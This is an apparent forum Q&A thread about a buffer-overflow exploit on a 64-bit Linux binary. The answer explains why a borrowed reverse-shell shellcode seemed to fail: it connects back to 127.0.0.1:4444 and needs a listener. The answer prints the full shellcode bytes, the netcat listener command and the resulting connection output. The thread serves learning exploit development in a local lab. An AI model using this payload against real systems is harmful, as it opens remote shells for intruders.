One shellcode works, one doesn't - an issue with exploiting a 64 bit linux binary

Question

I'm working on exploiting a simple 64 bit linux binary. I got control of RIP by exploiting a buffer overflow and using a jmp rsp to get control of the progrm.

However, I'm having trouble with the shellcode piece. I'm not savvy enough to write my own, so I've been using some I found online. The shellcode needs to get me a reverse shell on port 4444.

Just for testing though, I tried some basic shellcode.

Works - http://shell-storm.org/shellcode/files/shellcode-806.php

Doesn't work - https://www.exploit-db.com/exploits/35587/

The shellcode in the first link works. The one in the second did not.

I stepped through the program and each instruction lines up. However, after the last syscall, the program continues to execute the stack instead of exiting the thread.

I could really use help on it, I've been stuck on it all day.

Answer 1

I've tested these two shellcodes and they both work.

I think that you're missing the point of the second one. It's said :

NOTE: This C code connects to 127.0.0.1:4444

Meaning it's trying to connect to port 4444 on localhost (127.0.0.1). If nobody is listening on that port, then it won't connect and just trying to execute whatever is after you syscall.

Try to execute it again, but this time you need to lauch some process waiting for a connection on port 4444 before executing your shellcode, say netcat

$ nc -lp 4444 -vv 
listening on [any] 4444 ...

And then, when you execute your shellcode

./execshellcode64 "\x31\xf6\xf7\xe6\xff\xc6\x6a\x02\x5f\x04\x29\x0f\x05\x50\x5f\x52\x52\xc7\x44\x24\x04\x7d\xff\xfe\xfe\x81\x44\x24\x04\x02\x01\x01\x02\x66\xc7\x44\x24\x02\x11\x5c\xc6\x04\x24\x02\x54\x5e\x6a\x10\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\x56\x5a\x56\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x0f\x05"

nectat warns you (because of -vv meaning verbose) that there was a connection on that port

 $ nc -lp 4444 -vv
listening on [any] 4444 ...
connect to [127.0.0.1] from localhost.localdomain [127.0.0.1] 40234

That's the connection initiated by your shellcode.

Hope this helps !

Note : execshellcode64 is just a personnal program I made for testing purpose. It's not actually a real command.